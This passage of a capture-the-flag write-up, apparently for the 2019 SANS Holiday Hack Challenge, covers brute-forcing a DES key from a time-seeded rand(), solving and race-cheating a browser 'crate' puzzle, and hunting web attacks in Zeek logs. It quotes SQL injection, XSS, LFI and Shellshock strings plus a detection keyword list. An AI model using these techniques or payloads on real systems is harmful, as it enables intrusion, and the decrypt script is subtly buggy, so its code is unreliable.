) to 8.jnb
is just "jump if not below," or "jump if greater than or equal to." - This is the real meat of the key generation loop and the next thing we'll look at.
- Continuing with our high level view, this is adding 1 to
var_4
. (ie,i++
) - After we do that 8 times, the comparison will jump here and return the generated key.
Figure 65: Key Generation Loop, Part 2
- A call to a
super_secure_random()
function that we'll dig into after this, but for now we just need to know that functions generally return their values intoeax
. al
refers to the least significant 8 bits ofeax
andmovzx
'zero extends'(pads) the value with zeros to the full register size (32bits). So this moves the last 8 bits of whatsuper_secure_random()
gave us intoecx
. This is important to note because we are basically throwing away the other 24 higher bits.- This instruction is doing a bitwise AND of
ecx
and the hex value0xff
(which is11111111
in binary, so this also calculates the least significant 8 bits. This is redundant, and likely just a compiler inefficiency. - We first load our function argument
arg_0
, and then add the number of iterations through the loop (what we've been callingi
) to that. - There's a difference between
mov edx, cl
andmov [edx], cl
. When using square brackets, we're usingedx
as a pointer, and storing the value in the memory address it's pointing to.
Reference: http://flint.cs.yale.edu/cs421/papers/x86-asm/asm.html
In assembly, this looks very complex, but as we step through it, we realize all that's happening is:
void generate_key(char* key) { // Generates a key, and stores it in the function argument for ( i = 0; i < 8; i++ ) key[i] = super_secure_random & 0x77; }
Super Secure Random Function
Figure 66: Super Secure Random
- The debugging file references a global variable called
state
. That value has been copied intoeax
and here we multiply it by0x343FD
. - Then we add
0x269EC3
. - At this point, we update our global variable with the new state, which we'll use during the next iteration.
sar
means "shift arithmetic right" and0x10
(decimal 16) is how far to shift. Just how shifting a decimal number to the right one place (e.g. 30 -> 3) we divide by 10, shifting binary to the right one place is equivalent to dividing by 2. If we do that 16 times, it's the same as dividing by 2^16 (65536).- This is a bitwise AND with
0x7FFF
. (As it turns out, since we keep throwing away all but the last 8 bits each time through the loop, this instruction can be completely ignored. It's likely converting a signed integer to an unsigned one).
Ron suggested in his talk that Googling these values may turn up some additional information:
https://en.wikipedia.org/wiki/Linear_congruential_generator
As it turns out, the two hex numbers we see are the "multiplier" and "incrementer" from the rand() implementation for Microsoft Visual C.
uint32_t state; int rand() { state = state * 214013 + 2531011; return (state >> 16) & 0x7fff; }
With this, while a bit complicated, we have all of the information we need to re-create the seed as long as we know what time the file was encrypted. As we know from the objective introduction, "We know that it was encrypted on December 6, 2019, between 7pm and 9pm UTC." That gives us 7200 possible seconds that could be the intial time.
Determining the Cipher
Next we need to focus on the cipher. Stepping through the program until generate_key()
returns, we can see the call to CryptImportKey shortly after generate_key()
:
Figure 67: DES-CBC
Aha! We suspected the cipher was DES, but this comment helps confirm not only DES, but CBC mode.
What about the initialization vector (IV)? Taking another tip from Ron, we do a lot of Googling. It would appear that we'd normally expect a call to CryptGenKey()
and the Microsoft documentation says:
"If keys are generated for symmetric block ciphers, the key, by default, is set up in cipher block chaining (CBC) mode with an initialization vector of zero." https://docs.microsoft.com/en-us/windows/win32/api/wincrypt/nf-wincrypt-cryptgenkey
Our generate_key()
function replaced this and didn't include an IV either, so when reimplmenting it's safe to set the IV=0.
Validating the Key
At this point we can reimplement the encryption scheme, but we need a way to know if we got it right. Fortunately, we know the encrypted file is a PDF. We could decrypt the whole file and try to open it (7200 times), or run 'file' against it, but there's a faster way. If we decrypt just the first few bytes we can match it against the known file signature for a PDF.
Reference: https://en.wikipedia.org/wiki/List_of_file_signatures
#!/usr/bin/env python from Crypto.Cipher import DES import datetime import sys pdf_filename = 'ElfUResearchLabsSuperSledOMaticQuickStartGuideV1.2.pdf' ciphertext_header = b'\x5d\xbd\xce\xdc\x49\x4a\x74\x43' # A PDF always starts with: plaintext_header = '%PDF-' # We know that it was encrypted on December 6, 2019, between 7pm and 9pm UTC. start_time = 1575658800 end_time = 1575666000 def generate_key(seed): """This just implements the assembly we've discovered so far. Takes a seed, returns a key as a bytestring.""" result = b"" for i in range(8): # cmp [var_4], 8; jnb exit seed *= 0x343FD # imul eax, 343FDh seed += 0x269EC3 # add eax, 269EC3h # mov state, eax eax = seed # mov eax, state eax /= 2**16 # sar eax, 10h r = chr(eax & 0xff) # and eax, 7FFFh result += r # mov [arg_0 + var_4], eax return result def decrypt(key, ciphertext): """Decrypts a ciphertext string, and returns the result""" iv = b'\x00\x00\x00\x00\x00\x00\x00\x00' decryptor = DES.new(key, DES.MODE_CBC, iv) return decryptor.decrypt(key) for i in range(start_time, end_time): if decrypt(generate_key(i), ciphertext_header).startswith(plaintext_header): # At least the first few bytes are correct, so we'll try to decrypt our file. with open(pdf_filename + '.enc') as ciphertext: with open(pdf_filename, 'wb') as plaintext: plaintext.write(decrypt(generate_key(i), ciphertext.read()) print("Successfully decrypted file (seed=%d), and saved to %s" % (i, pdf_filename)) break
Post-decryption
Now that we have the decrypted PDF, it's time to take a look.
On page three we read the following which will be useful later:
The default login credentials should be changed on startup and can be found in the readme in the ElfU Research Labs git repository.
At this time we will also take a moment to point out a potential safety issue with the Super Sled-O-Matic (SSOM) installation instructions. The first suggested installation location is "Right side of sled under the flight abort ejector seat." As the large activation button on the SSOM needs to be held down for activation, there is a potential that someone reaching down could inadvertently activate the ejector seat. Especially if they are wearing a long sleeve coat with fluffy white cuffs.
11. Open the Sleigh Shop Door ๐๐๐๐๐
Background
This objective instructs us to:
Visit Shinny Upatree in the Student Union and help solve their problem. What is written on the paper you retrieve for Shinny?
Visiting Shinny lays out our challenge:
Psst - hey!
I'm Shinny Upatree, and I* know what's going on!
Yeah, that's right - guarding the sleigh shop has made me privvy to some serious, high-level intel.
In fact, I know WHO is causing all the trouble.
Cindy? Oh no no, not that who. And stop guessing - you'll never figure it out.
The only way you could would be if you could break into my crate, here.
You see, I've written the villain's name down on a piece of paper and hidden it away securely!
Crack into the crate at https://crate.elfu.org, and retrieve the paper hidden therein.
Once we solve the iptables terminal, Kent tells us:
Oh thank you! It's so nice to be back in my own head again. Er, alone.
By the way, have you tried to get into the crate in the Student Union? It has an interesting set of locks.
There are funny rhymes, references to perspective, and odd mentions of eggs!
And if you think the stuff in your browser looks strange, you should see the page source…
Special tools? No, I don't think you'll need any extra tooling for those locks.
BUT - I'm pretty sure you'll need to use Chrome's developer tools for that one. (Chrome Dev Tools)
Or sorry, you're a Firefox fan? (Firefox Dev Tools)
Yeah, Safari's fine too - I just have an ineffible hunger for a physical Esc key. (Safari Dev Tools)
Edge? That's cool. Hm? No no, I was thinking of an unrelated thing. (Edge Dev Tools)
Curl fan? Right on! Just remember: the Windows one doesn't like double quotes. (Curl Dev Tools)
Old school, huh? Oh sure - I've got what you need right here… (Lynx Dev Tools)
…
…
And I hear the Holiday Hack Trail game will give hints on the last screen if you complete it on Hard.
For hints on achieving this objective, please visit the Student Union and talk with Kent Tinseltooth.
Chrome Dev Tools: Chrome Dev Tools
Firefox Dev Tools: Firefox Dev Tools
Safari Dev Tools: Safari Dev Tools
Edge Dev Tools: Edge Dev Tools
Curl Dev Tools: Curl Dev Tools
Lynx Dev Tools: Lynx Dev Tools
Completing the Holiday Hack Trail on hard reveals the following in the source code of the victory screen:
<!-- 1 - When I'm down, my F12 key consoles me 2 - Reminds me of the transition to the paperless naughty/nice list... 3 - Like a present stuck in the chimney! It got sent... 4 - We keep that next to the cookie jar 5 - My title is toy maker the combination is 12345 6 - Are we making hologram elf trading cards this year? 7 - If we are, we should have a few fonts to choose from 8 - The parents of spoiled kids go on the naughty list... 9 - Some toys have to be forced active 10 - Sometimes when I'm working, I slide my hat to the left and move odd things onto my scalp! -->
Solution
Visiting the site from Shinny, we see 10 locks. At the top, it says:
I locked the crate with the villain's name inside. Can you get it out?
Since our hints from the Holiday Hack Trail are numbered 1-10, we assume each one is a hint to the respective lock.
- Lock 1: Console
You don't need a clever riddle to open the console and scroll a little.
When I'm down, my F12 key consoles me
Hitting
F12
brings up the Developer Tools (at least in Chrome, Firefox and Edge). Looking at the documentation from Shinny, we see that one of the functions of the Developer Tools is to access the Javascript console, which is mentioned in both the clue and the hint.Clicking on the Console tab shows us a green box with a code.
Figure 68: At the console of an amazing, hand-built computer sits amazing Hopsfield.
We can also get a few other hints from the webpage, if needed:
Google: "[your browser name] developer tools console"
The code is 8 char alphanumeric
- Lock 2: Pulp on Dye
Some codes are hard to spy, perhaps they'll show up on pulp with dye?
Reminds me of the transition to the paperless naughty/nice list…
This one is a bit less obvious. Some additional hints give us a pretty clear path:
Most paper is made out of pulp.
How can you view this page on paper?
Emulate
print
media, print this page, or view a print preview.Again, reviewing the documentation, we see that there's a setting to emulate the CSS media as print. We use the
Elements
tab in Chrome, and from the Dev Tools settings (โฎ
button in the upper right), we go toMore tools
->Rendering
and this brings up a new tab at the bottom of the screen. At the very bottom of this tab, there's the setting to change the CSS media:Figure 69: The piece of paper. It says, "I aced this."
- Lock 3: Fetched Code
This code is still unknown; it was fetched but never shown.
Like a present stuck in the chimney! It got sent…
If something was sent or fetched and never shown, the
Network
tab is an obvious target, similar to how we found the image of Krampus and the key. The additional hints confirm this:Google: "[your browser name] view network"
Examine the network requests.
Unfortunately, when we open the
Network
tab, many requests were missed, because we didn't have it open when the requests were loading. We can refresh the page, and we notice that the value in theConsole
has changed. We re-solve the first two locks and notice an image in theNetwork
tab. Using thePreview
tab, we see it's a code:Figure 70: He examines the walls and the floor and looks, for hidden switches or secret mechanisms, all to no avail.
- Lock 4: Local Storage
Where might we keep the things we forage? Yes, of course: Local barrels!
We keep that next to the cookie jar
This is the first clue that doesn't rhyme. Between the clue, the trail hint, and the additional hint (below), we realize it means the
Local Storage
section, under theApplication
tab, which would correctly rhyme:Google: "[your browser name] view local storage"
Sure enough, we find the barrels in
Local Storage
:Figure 71: "Just like shooting ducks in a barrel."
- Lock 5: Title Code
Did you notice the code in the title? It may very well prove vital.
My title is toy maker the combination is 12345
The additional hint confirms that we should be checking the title:
There are several ways to see the full page title:
- Hovering over this browser tab with your mouse
- Finding and opening the <title> element in the DOM tree
- Typing
document.title
into the console
In keeping with the theme of using the Developer Tools, we'll go to the
Elements
tab, and search (Ctrl-F
on Windows and Linux,โ+F
on Mac) fortitle
:Figure 72: "The day's only so long."
- Lock 6: All About Your Perspective
In order for this hologram to be effective, it may be necessary to increase your perspective.
Are we making hologram elf trading cards this year?
This one was a bit tricky. The hints are pointing us to the rainbow-colored hologram next to the lock. The additional hints might help:
perspective
is a css property.Find the element with this css property and increase the current value.
The easiest way to find the element is to right-click it, and select
Inspect
:Figure 73: "It's basically a filter."
Once we've selected the right element, we can view the CSS properties in the
Styles
tab of the right side of the Developer Tools. Sure enough, there's a property namedperspective
, which we can double click the default value to change.The meaning of the
perspective
property is a bit tricky to understand. The value is initially15px
, which means that we're sitting 15 pixels away from the hologram. Like sitting too close to the TV, everything is spread out. As we increase the value of our perspective, as the hint tells us to do, we move further back from the hologram, and the letters slowly coalesce into our code. We can keep increasing the distance until the letters stop moving, or just disable the whole 3D effect by setting the perspective to0
ornone
.Figure 74: "You've increased it to 6 megawatts."
- Lock 7: Slick Font
The font you're seeing is pretty slick, but this lock's code was my first pick.
If we are, we should have a few fonts to choose from
We need to find the first font. The additional hint confirms this:
In the
font-family
css property, you can list multiple fonts, and the first available font on the system will be used.Similar to how we solved the previous lock, we can inspect some of the text, search the CSS style for font, and we find a code hidden as a
font-family
.Figure 75: "You're not first anymore."
- Lock 8: Bad Eggs
In the event that the
.eggs
go bad, you must figure out who will be sad.
The parents of spoiled kids go on the naughty list…
We notice that
.eggs
is a different color, and we canInspect
that element. At first, nothing seems noteworthy. The additional hint points us in the right direction:Google: "[your browser name] view event handlers"
When we look at the
Event Listeners
for that element, we see an event namedspoil
, which is referenced in the Trail hint. The handler makesVERONICA
sad.Figure 76: "This is Jesus, Kent, and you've been a very naughty boy."
- Lock 9: Activating Chakras
This next code will be unredacted, but only when all the chakras are :active.
Some toys have to be forced active
Looking closely at the instructions, we notice that there's an extra colon before "active":
Figure 77: "I'm gonna have to push harder."
The first additional hint is:
:active
is a css pseudo class that is applied on elements in an active state.A common example of activating an element is clicking on it, and we see that if we do this on certain words in the instructions, portions of the code appear. We can also force the state to be active, and see all chakras at once.
Figure 78: "All I can tell you is it's rare and unstable."
- Lock 10: Gnome in Your Corbin
Oh, no! This lock's out of commission! Pop off the cover and locate what's missing.
Sometimes when I'm working, I slide my hat to the left and move odd things onto my scalp!
The first hint is:
Use the DOM tree viewer to examine this lock. you can search for items in the DOM using this view.
If we inspect the entire lock, we see:
<div class="lock c10"> <div class="cover"> <button data-id="10" disabled="disabled">Unlock</button> </div> <input type="text" maxlength="8" data-id="10"> <button class="switch" data-id="10"></button> <span class="led-indicator locked"></span> <span class="led-indicator unlocked"></span> </div>
We've found the cover that we're supposed to pop off, and the second hint tells us how:
You can click and drag elements to reposition them in the DOM tree.
We drag and drop (and delete) to end up with:
<div class="lock c10"> <button data-id="10" disabled="disabled">Unlock</button> <input type="text" maxlength="8" data-id="10"> <button class="switch" data-id="10"></button> <span class="led-indicator locked"></span> <span class="led-indicator unlocked"></span> </div>
We try a code, but get no failure message. The third hint points us towards the
Console
if we don't get the desired effect, which tells us:Error: Missing macaroni!
. We were told that we can search for elements in the DOM tree, and sure enough, we findmacaroni
, and move it into our lock, where it appears.We repeat this process, finding the correct elements and moving them into the lock, until we end up with:
<div class="lock c10"> <button data-id="10">Unlock</button> <input type="text" maxlength="8" data-id="10"> <button class="switch" data-id="10"></button> <span class="led-indicator locked"></span> <span class="led-indicator unlocked"></span> <div class="component macaroni" data-code="A33"></div> <div class="component swab" data-code="J39"></div> <div class="component gnome" data-code="XJ0"></div> </div>
The last hint ("Be sure to examine that printed circuit board.") helps us find the code, which is hidden on the bottom right:
Figure 79: "Unlock the bird's-eye."
Once we unlock the last lock, we see:
Figure 80: "It should have gone further, faster."
We've solved the challenge, and identified the villain!
Automating the Solution: < 1s
Observing the HTTP response from opening the crate, we see:
Well done! Do you have what it takes to Crack the Crate in under three minutes?
Now that we know the drill, we're able to improve our time, just to see another challenge:
Figure 81: "Is something wrong with the test scores?"
Very impressive!! But can you Crack the Crate in less than five seconds?
Five seconds is a tall order. At that point, we can't do it manually, and must use automation. We start studying the locks further, and design a plan. The codes are hidden across 4 resources:
- The HTML page (print media, title, hologram, and font)
- The stylesheet (chakras)
- The javascript (console, local storage)
- The image
Additionally, locks 8 and 10 (spoiled eggs and broken lock) always have the same codes.
The codes are discovered as follows:
- The value printed to the console follows
%cโ
, after base64 and then hex-encoding it. We search client.js for that string, then extract our code. - Using BeautifulSoup to parse the HTML:
soup.find("div", {'class' : 'libra'}).find('strong')
- We use PyTesseract to OCR the iamge:
pytesseract.image_to_string(Image.open(BytesIO(s.get('https://' + domain + '/images/%s.png' % token).content)))
- Search the Javascript for the base64-encoded version of the barrels (๐ข๏ธ๐ข๏ธ๐ข๏ธ), and extract the string.
- Last 8 of the title,
soup.find('title').decode_contents()[-8:]
- The characters in the hologram are always in the same order
[3, 0, 4, 6, 5, 2, 7, 1]
. Use BeautifulSoup to extract the characters:soup.find("div", {'class': 'hologram'}).find('div').children
- Find the style, and extract the code:
soup.find('style').decode_contents().split("'")[1]
VERONICA
- Parse the CSS, with something like:
if line.startswith(" content:"): result += line.split("'")[1]
. KD29XJ37
With this script, we're able to complete it in a couple hundred milliseconds:
Figure 82: You are a Crate Cracking Master! This is our highest rank. A building will be named in your honor, probably.
Improving our Speed: <100 ms
At this point, we do a few iterations of optimization on our code.
To minimize network latency, we use a Google Compute instance in the same GCE zone.
We're using the Python Requests library, and switch to Session Objects, which will persist the same HTTP connection across multiple requests.
To improve SSL performance, we force the use of ECDH+AES256
, which should be the fastest option offered by the server.
At this point, most of the execution time is within our Python code. We have several requests back and forth to the server, so we introduce artificial delays at each step, and run a few tests to determine when exactly the server thinks that we started and stopped our attempt. We discover that we only start the attempt upon downloading the Javascript file, so we move to performing everything except for locks 1 and 4 first, fetching the Javascript, and then submitting our answers. Most importantly, our OCR no longer counts against us, as this was the biggest contributor.
We downloaded the Javascript file 1000 times, and noticed that roughly 3% of the time, we received a file that was the same size. In these files, the offsets of the codes to the locks were at consistent locations. So, we changed our code to only make an attempt when the JS file was of this size, using the specific offsets, and avoid two operations that search the contents of the file.
The final steps we take to improve the performance are to use the Python multiprocessing module to parallelize our requests to unlock locks 1 and 4, and to compile our code via Cython.
After all this, we're able to drop under the 100ms mark:
At this point, our automated solution runs almost 4 times faster than our initial attempt.
Cheating to Achieve 7ms
After all this work, we identified a logic error in the code which made it much easier. It turns out that we only needed to solve one lock, and not all 10. Our final code looks like this:
#!/usr/bin/env python3 from multiprocessing import Barrier, Process import requests import uuid domain = 'sleighworkshopdoor.elfu.org' def start(seed, synchronizer): """Download the Javascript to start our timer.""" s = requests.Session() # Wait for the other function synchronizer.wait() # HEAD request because we don't actually need the contents s.head('https://' + domain + '/client.js/' + seed) def stop(seed, synchronizer): """Submit our answer to stop the timer.""" data = {'seed': seed, 'codes': {'8': "VERONICA"}} s = requests.Session() # Wait for the other function synchronizer.wait() result = s.post('https://' + domain + '/open', json=data) print(result.content) def main(): # Pick a random UUID seed = str(uuid.uuid4()) # Run start and stop, simultaneously synchronizer = Barrier(2) Process(target=start, args=(seed, synchronizer)).start() Process(target=stop, args=(seed, synchronizer)).start() print("Image is at https://" + domain + "/images/scores/" + seed + ".jpg") if __name__ == '__main__': main()
This function attempts to start and stop the timer as close together as possible. We only submit the value of one of the locks, and it's one that always stays the same, so no computation is needed.
Figure 84: "Mitch beat your scores by 20 points."
Bonus: Cracking the Code
Early on, we noticed this commented-out Javascript snippet when visiting https://sleighworkshopdoor.elfu.org:
const getTestFlag = seed => { const chance = new Chance(seed); chance.string({ length: 8, pool: 'ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789', }); }
We were confused as to why this was here, and thought that maybe it was left over from testing the challenge. Later on, we realized that by supplying the UUID as the seed, this snippet would generate the code in the image that was fetched but never shown.
We knew that to validate a certain code, we needed to supply the
server the UUID, and which lock the code was for. We thought it likely
that the getTestFlag
function was used for the other codes, just
with a different seed. We also thought it likely that those seeds were
tied to the UUID, as everything in this challenge seemed to stem from
the one UUID.
We wrote a script to brute-force the seed. We manually solved the challenge, and presented the valid codes and UUID to the script. After about 20 seconds, we saw:
$ node token_brute.js Found seed for QO27M4Q2 (lock 3) 7b5a647b-1b41-4973-bc38-4472c3ee484a Found seed for YP68TGPC (lock 4) 7b5a647b-1b41-4973-bc38-4472c3ee484a_ls Found seed for QSE47ABU (lock 7) 7b5a647b-1b41-4973-bc38-4472c3ee484a_font
Success! We let it run for another hour, and didn't get anywhere, though. But, we could easily identify a pattern, and it was time to refine our search.
We expanded all the hints, and saved the crate webpage, then used
grep
to generate a wordlist: egrep -o '[a-zA-Z]+' crate.html | sort | uniq > wordlist
.
A script that iterated through this list was able to find the
other seeds almost immediately:
$ node token_wordlist.js Found seed for D6OQJZLR (lock 9) 7b5a647b-1b41-4973-bc38-4472c3ee484a_chakras Found seed for F0STIHB8 (lock 1) 7b5a647b-1b41-4973-bc38-4472c3ee484a_console Found seed for 7S4L7YC1 (lock 6) 7b5a647b-1b41-4973-bc38-4472c3ee484a_hologram Found seed for U7VX636E (lock 2) 7b5a647b-1b41-4973-bc38-4472c3ee484a_print Found seed for XVK9EIF5 (lock 5) 7b5a647b-1b41-4973-bc38-4472c3ee484a_title
12. Filter Out Poisoned Sources of Weather Data ๐๐๐๐
Background
Use the data supplied in the Zeek JSON logs to identify the IP addresses of attackers poisoning Santa's flight mapping software. Submit the Route ID ("RID") success value that you're given.
Block the 100 offending sources of information to guide Santa's sleigh through the attack.
You see, Santa's flight route is planned by a complex set of machine learning algorithms which use available weather data.
All the weather stations are reporting severe weather to Santa's Sleigh. I think someone might be forging intentionally false weather data!
I'm so flummoxed I can't even remember how to login!
Hmm… Maybe the Zeek http.log could help us.
I worry about LFI, XSS, and SQLi in the Zeek log - oh my!
And I'd be shocked if there weren't some shell stuff in there too.
I'll bet if you pick through, you can find some naughty data from naughty hosts and block it in the firewall.
If you find a log entry that definitely looks bad, try pivoting off other unusual attributes in that entry to find more bad IPs.
The sleigh's machine learning device (SRF) needs most of the malicious IPs blocked in order to calculate a good route.
Try not to block many legitimate weather station IPs as that could also cause route calculation failure.
Remember, when looking at JSON data, jq
is the tool for you!
For hints on achieving this objective, please visit the Sleigh Shop and talk with Wunorse Openslae.
Finding Bad in Web Logs: Do you see any LFI, XSS, Shellshock, or SQLi?
Data Correlation: Take known nasty sources and look at their supporting characteristics to grow your insights into other bad sources used by attackers.
Jq Functions: JQ supports many functions for analysis, including test
, select
, and contains
. Use these functions to your advantage!
Solution
According to the objective, we need to identify the bad IPs and then block those using the firewall. Clearly we need access to the SRF server and there may be more clues within so that will be our initial focus. The intro to the iptables terminal told us:
Kent TinselTooth: Please no, they're testing it at srf.elfu.org using default creds, but I don't know more. It's classified.
Also, recall from Objective 10 we decrypted a secret PDF. Contained in that document are a ton of details about the Sled-O-Matic, but also the following line:
The default login credentials should be changed on startup and can be found in the readme in the ElfU Research Labs git repository.
There's no git server that we can find, but perhaps we can get lucky. In the http.log, we notice a successful request for README.md, and find https://srf.elfu.org/README.md. Contained within are the exceptionally good default credentials to SRF:
admin 924158F9522B3744F5FCD4D10FAC4356
Not only do we have access to the required firewall, but we have API documentations as well. Unfortunately, the current weather map makes it clear the climate change is real and we should all be very concerned.
Similar to the previous termimal challenge, we use jq
to parse the JSON log format:
$ cat http.log | jq '.[] | select(.uri|test("README.md")) | .uri,.["id.orig_h"],.user_agent,.status_code' "/README.md" "42.103.246.130" "Mozilla/4.0 (compatible;MSIe 7.0;Windows NT 5.1)" 200
There are a couple things of note here. The most concerning is that someone else potentially obtained the same default credentials we did. Secondly, the user_agent
has "MSIe" with the wrong capitalization.
Let's look at what else that src IP did:
$ cat http.log | jq '.[] | select(.["id.orig_h"]|test("42.103.246.130")) | .uri,.status_code' "/README.md" 200 "/api/login" 200 "/home.html" 200 "/.git/HEAD" 404
Uh oh. README.md -> /api/login -> home.html. That's almost
certainly a bad actor. A normal user going to the SRF portal would
download the index which also grabs the title image, css, and
javascript files. Going directly from the README file to the
/api/login endpoint is very suspicious. Given the incorrect
user_agent
, we can pivot on that as well:
$ cat http.log | jq "/api/weather?station_id=1' UNION SELECT NULL,NULL,NULL--" 200 "/README.md" 200 --8<--snip--8<--
Looks like they tried an SQL injection as well. If this were a real incident investigation we might consider this to be the attacker's originating IP when they were manually probing the system.
While poking around at the logs we took a few notes of patterns that might be interesting later. We also noted that odd things only appeared in uri
, user-agent
, and host
fields.
/etc/passwd SELECT UNION <script> ssrf login.cgi gitweb -r nessus /cgi-bin/c99shell.php bash
This was a tricky objective. We tend to be more agressive with our definition of what's bad. For example, if we look at just potential scanners looking for .php files we get 1699 IPs. We know from the objective that we're only looking for 100.
Going back to the instructions we reduce our concept of 'bad' and focus only on the four types of attacks (LFI, XSS, Shellshock, SQLi).
Local File Inclusion (LFI)
Looking for Local File Inclusion (LFI) first, we search for "../" in the uri
as a classic identifier for LFI attempts.
$ cat http.log | jq '.[] | select(.uri|test("\\.\\./")) | .uri'
This gives four results that all refer to 'etc/passwd.' Given how common that might be as a target file, we'll shift slightly and look for 'etc/passwd' instead:
$ cat http.log | jq '.[] | select(.uri|test("etc/passwd")) | .uri'
Excellent, 11 results this time.
Cross-Site Scripting (XSS)
For XSS, we look for the existence of "<script" in the uri
, but we also found a few in the host
field
$ cat http.log | jq '.[] | select(.uri|test("<script")) | .["id.orig_h"],.uri' $ cat http.log | jq '.[] | select(.host|test("<script")) | .["id.orig_h"],.host'
Between the two we get 16 more IPs we can classify as bad.
Shellshock
The Shellshock attack was an attempt to inject shell commands into HTTP headers. We started poking around with searches for 'bash' or 'bin/sh'. In the end we settled on 'bin/' as it seems to find all six IPs we've identified attempting Shellshock.
$ cat http.log | jq '.[] | select(.user_agent|test("bin/")) | .["id.orig_h"],.user_agent'
That's 6 more.
SQL Injection (SQLi)
Looking for SQLi was fairly straightforward and returned the biggest number of results for attacker IPs. We found 'SELECT' in both the user_agent
and uri
fields:
$ cat http.log | jq '.[] | select(.uri|test("SELECT")) | .["id.orig_h"]' | wc -l 16 $ cat http.log | jq '.[] | select(.user_agent|test("SELECT")) | .["id.orig_h"]' | wc -l 9
There were also several examples with lowercase 'select' and 'Select' but these were not injection attempts.
With these 25, our total number of attacking IPs is 58.
Pivoting on Other Fields
Wunhorse gave us the following hint:
Take known nasty sources and look at their supporting characteristics to grow your insights into other bad sources used by attackers.
Looking at a few of our bad IPs and all of the fields in those logs entries, the first thing that stands out is the user_agent
fields:
$ cat http.log | jq '.[] | select(.["id.orig_h"]=="84.147.231.129") |.uri,.user_agent' "/api/weather?station_id=<script>alert('automatedscanning');</script>" "Mozilla/4.0 (compatible; Metasploit RSPEC)" $ cat http.log | jq '.[] | select(.["id.orig_h"]=="187.178.169.123") |.uri,.user_agent' "/api/login?id=/../../../../../../../../../etc/passwd" "Mozilla4.0 (compatible; MSSIE 8.0; Windows NT 5.1; Trident/5.0)" $ cat http.log | jq '.[] | select(.["id.orig_h"]=="9.206.212.33") |.uri,.user_agent' "/api/weather?station_id=/etc/passwd" "Mozilla/4.0(compatible; MSIE 666.0; Windows NT 5.1"
"Metasploit" is obviously suspicious, but the other two examples are a bit more subtle with their misspellings: "MSSIE" and "MSIE 666.0." Recall we were also able to pivot on the user_agent
of the original attacker IP, so this looks promising.
$ cat http.log | jq '.[] | select(.user_agent|test("Metasploit")) |.uri,.["id.orig_h"]' "/PEAR.pdf" "203.68.29.5" "/api/weather?station_id=<script>alert('automatedscanning');" "84.147.231.129" $ cat http.log | jq '.[] | select(.user_agent|test("MSSIE")) |.uri,.["id.orig_h"]' "/api/weather?station_id=*" "226.240.188.154" "/api/login?id=/../../../../../../../../../etc/passwd" "187.178.169.123" $ cat http.log | jq '.[] | select(.user_agent|test("666.0")) |.uri,.["id.orig_h"]' "/api/weather?station_id=/etc/passwd" "9.206.212.33" "/css/freelancer.min.css" "42.16.149.112"
Interesting. Each suspicious user_agent
is only used one other time. While we did go through these by hand the first time, this is also where automation can come in. The only exception to this is the original attacking IP of 42.103.246.130. Rather than searching manually using jq
, we implemented our search strings and user_agent
pivoting using Python3. Running this gives us 94 unique IPs that we think are bad. It also gave us the opportunity to print out all of the 'bad' user_agents
.
python3 obj12-incomplete.py | wc -l 94
List of misspelled or otherwise suspicious user_agents
:
HttpBrowser/1.0 Mozilla/4.0 (compatible; MSIE6.0; Windows NT 5.1) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT5.1) Mozilla/4.0 (compatible; MSIE 6.1; Windows NT6.0) Mozilla/4.0 (compatible; MSIE 7.0; Windos NT 6.0) Mozilla/4.0 (compatibl; MSIE 7.0; Windows NT 6.0; Trident/4.0; SIMBAR={7DB0F6DE-8DE7-4841-9084-28FA914B0F2E}; SLCC1; .N Mozilla/4.0 (compatible; Metasploit RSPEC) Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) ApleWebKit/525.13 (KHTML, like Gecko) chrome/4.0.221.6 safari/525.13 Mozilla/5.0 (compatible; Goglebot/2.1; +http://www.google.com/bot.html) Mozilla/5.0 (compatible; MSIE 10.0; W1ndow NT 6.1; Trident/6.0) Mozilla/4.0 (compatible; MSIEE 7.0; Windows NT 5.1) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; AntivirXP08; .NET CLR 1.1.4322) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Tridents/4.0; .NET CLR 1.1.4322; PeoplePal 7.0; .NET CLR 2.0.50727) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; FunWebProducts; .NET CLR 1.1.4322; .NET CLR 2.0.50727) Mozilla/5.0 (Windows NT 6.1; WOW62; rv:53.0) Gecko/20100101 Chrome /53.0 Mozilla/4.0 (compatible; MSIE 8.0; Window NT 5.1) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Tridents/4.0) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; .NETS CLR 1.1.4322) Wget/1.9+cvs-stable (Red Hat modified) Mozilla/4.0 (compatible; MSIE 8.0; Windows MT 6.1; Trident/4.0; .NET CLR 1.1.4322; ) Mozilla/5.0 (Windows NT 5.1 ; v.) CholTBAgent Mozilla/5.0 WinInet RookIE/1.0 Mozilla/4.0 (compatible; MSIE 8.0; Windows_NT 5.1; Trident/4.0) Mozilla/4.0 (compatible;MSIE 7.0;Windows NT 6. Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2.3) gecko/20100401 Firefox/3.6.1 (.NET CLR 3.5.30731 Opera/8.81 (Windows-NT 6.1; U; en) Mozilla/5.0 Windows; U; Windows NT5.1; en-US; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.1 (.NET CLR 3.5.30729) Mozilla/4.0 (compatible MSIE 5.0;Windows_98) Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 500.0) Mozilla4.0 (compatible; MSSIE 8.0; Windows NT 5.1; Trident/5.0) Mozilla/4.0 (compatible; MSIE 6.a; Windows NTS) Mozilla/4.0(compatible; MSIE 666.0; Windows NT 5.1 Mozilla/5.0 (Windows NT 10.0;Win64;x64)
The 94 bad IPs we now have are good enough to complete the objective, but the instructions tell us to block the 100 offending IPs, so we really want to find six more. Going back to our original set of bad IPs, we find another odd characteristic in the host
field for our Shellshock attackers:
$ cat http.log | jq '.[] | select(.user_agent|test("bin/")) | .host' "ssrf.elfu.org" "ssrf.elfu.org" "ssrf.elfu.org" "ssrf.elfu.org" "ssrf.elfu.org" "ssrf.elfu.org"
Misspelling of the host
as well. If we pivot on that we get 12 IPs, 6 of which are new:
$ cat http.log | jq '.[] | select(.host|test("ssrf")) | .["id.orig_h"]' | wc -l 12
Adding 'ssrf' to our search parameters in our Python script and a little tweak to the output to join it with commas, we have our 100 bad IPs.
python3 obj12.py
